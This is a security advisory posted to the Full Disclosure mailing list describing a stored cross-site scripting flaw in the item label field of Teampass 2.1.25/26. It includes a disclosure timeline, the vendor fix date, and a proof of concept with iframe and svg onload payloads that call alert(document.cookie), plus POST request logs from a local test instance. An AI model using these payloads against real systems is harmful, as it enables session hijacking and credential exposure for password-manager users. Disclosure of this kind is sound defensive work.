[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] Teampass v2.1.26 - Stored Cross Site Scripting Vulnerability



Document Title:
===============
Teampass v2.1.26 - Stored Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1845


Release Date:
=============
2016-05-24


Vulnerability Laboratory ID (VL-ID):
====================================
1845


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
TeamPass is a Passwords Manager dedicated for managing passwords in a 
collaborative way on any server Apache, MySQL and PHP.
It is especially designed to provide passwords access security for allowed 
people. This makes TeamPass really useful in a 
Business/Enterprise environment and will provide to IT or Team Manager a 
powerful and easy tool for customizing passwords 
access depending on the user’s role. 

(Copy of the Homepage:  http://teampass.net/  )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an 
application-side cross site scripting vulnerability in the Teampass v2.1.25/26 
application.


Vulnerability Disclosure Timeline:
==================================
2016-05-17: Researcher Notification & Coordination (Peter Kok)
2016-05-18 Vendor Notification (Teampass Security Team)
2016-05-18: Vendor Response/Feedback (Teampass Security Team)
2016-05-23: Vendor Fix/Patch (Teampass Developer Team)
2016-05-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Nils Laumaillé
Product: Teampass Password Manager - Online Service (Web-Application) 2.1.25

Nils Laumaillé
Product: Teampass Password Manager - Online Service (Web-Application) 2.1.26


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side cross site scripting web vulnerability has been discovered 
in the official Teampass v2.1.26 web-application.
The vulnerability allows remote attackers to inject own malicious script codes 
to the application-side of the vulnerable module or function.

Teampass allows authenticated users to create items to store usernames, 
passwords, descriptions, files and more. When creating or editing an 
item the very first field, the label field, is vulnerable to iframe injection 
and XSS insertion. The iframe or cross site scripting will be 
executed as soon as a user opens a folder. The attack vector is persistent and 
the request method to inject is POST.

The security risk of the application-side vulnerability is estimated as medium 
with a cvss (common vulnerability scoring system) count of 3.4. 
Exploitation of the persistent web vulnerability requires a low privileged 
web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, 
persistent phishing attacks, persistent external redirects to 
malicious source and persistent manipulation of affected or connected 
application modules.

Request Method(s):
                                [+] POST

Vulnerable Function(s):
                                [+] Add or Edit (Label)

Vulnerable Parameter(s):
                                [+] label name

Affected Module(s):
                                [+] Item Listing


Proof of Concept (PoC):
=======================
The persistent cross site scripting web vulnerability can be exploited by 
remote attackers without privileged web-application user account and low or 
medium user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Create or edit an item 
2. Change the first label name field to a script code payload
Note: Vulnerability Lab"><iframe SRC="http://www.vulnerability-lab.com/"; 
onload=alert(document.cookie)<></iframe>  or  
<svg/onload=alert(document.cookie)>
3. The execute occurs in the main label field output context value
4. Successful reproduce of the application-side vulnerability!


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://teampass.localhost:8080/index.php/pwd/aj_edit_save/73 
Mime Type[application/json]
   Request Header:
      Host[teampass.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 
Firefox/46.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      X-Requested-With[XMLHttpRequest]
      Referer[http://teampass.localhost:8080/index.php/pwd/view/73]
      Cookie[__utma=66503851.473320856.1464166381.1464166381.1464166381.1; 
PHPSESSID=s9iq39avpg0k5vjc896p0m5tb6]
      Connection[keep-alive]
   POST-Daten:
      cproject_id[23]
      password_id[73]
      name[Dans+Linux+user+%22%3E%3C[SCIRPT CODE PAYLOAD INJECT VIA NAME 
LABEL!]%3E]
      tags[]
      hidden-tags[]
      access_info[]
      faketextdonotautofill1[]
      username[dan]
      faketextdonotautofill2[]
      email[]
      fakepwddonotautofill1[]
      password[hello]
      password_visible[hello]
      fakepwddonotautofill2[]
      repeat_password[hello]
      repeat_password_visible[hello]
      expiry_date_edit[]
      notes[]
   Response Header:
      Date[Wed, 25 May 2016 08:53:48 GMT]
      Server[Apache]
      X-Powered-By[PHP/5.4.4-14+deb7u8]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0]
      Pragma[no-cache]
      Content-Length[74]
      Keep-Alive[timeout=5, max=99]
      Connection[Keep-Alive]
      Content-Type[application/json; charset=utf-8]
-
Status: 200[OK]
GET http://teampass.localhost:8080/index.php/checkss/n/pwd 
Mime Type[text/html]
   Request Header:
      Host[teampass.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 
Firefox/46.0]
      Accept[text/html, */*; q=0.01]
      X-Requested-With[XMLHttpRequest]
      Referer[http://teampass.localhost:8080/index.php/pwd/view/73]
      Cookie[__utma=66503851.473320856.1464166381.1464166381.1464166381.1; 
__utmb=66503851.1.10.1464166381; PHPSESSID=s9iq39avpg0k5vjc896p0m5tb6]
      Connection[keep-alive]
   Response Header:
      Date[Wed, 25 May 2016 08:53:49 GMT]
      Server[Apache]
      X-Powered-By[PHP/5.4.4-14+deb7u8]
      Connection[Keep-Alive]
      Content-Type[text/html]


Reference(s):
http://teampass.localhost:8080/
http://teampass.localhost:8080/index.php/
http://teampass.localhost:8080/index.php/pwd/
http://teampass.localhost:8080/index.php/checkss/
http://teampass.localhost:8080/index.php/checkss/n/
http://teampass.localhost:8080/index.php/checkss/n/pwd
http://teampass.localhost:8080/index.php/pwd/aj_edit_save/
http://teampass.localhost:8080/index.php/pwd/aj_edit_save/73


Security Risk:
==============
The security risk of the application-side cross site scripting vulnerability in 
the teampass application is estimated as medium. (CVSS 3.4)


Credits & Authors:
==================
Peter Kok -  [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, 
including the warranties of merchantability and capability for a particular 
purpose. Vulnerability-Lab or its suppliers are not liable in any case of 
damage, 
including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been 
advised 
of the possibility of such damages. Some states do not allow the exclusion or 
limitation of liability for consequential or incidental damages so the 
foregoing 
limitation may not apply. We do not approve or encourage anybody to break any 
licenses, policies, deface websites, hack into databases or trade with stolen 
data.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
                                - www.evolution-sec.com
Contact:    admin@xxxxxxxxxxxxxxxxxxxxx         - 
research@xxxxxxxxxxxxxxxxxxxxx                                - 
admin@xxxxxxxxxxxxxxxxx
Section:    magazine.vulnerability-lab.com      - 
vulnerability-lab.com/contact.php                             - 
evolution-sec.com/contact
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab 
                                - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. Permission to 
electronically 
redistribute this alert in its unmodified form is granted. All other rights, 
including the use of other media, are reserved by Vulnerability-Lab Research 
Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the 
specific 
authors or managers. To record, list, modify, use or edit our material contact 
(admin@ or research@xxxxxxxxxxxxxxxxxxxxx) to get a ask permission.

                                    Copyright © 2016 | Vulnerability Laboratory 
- [Evolution Security GmbH]™




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/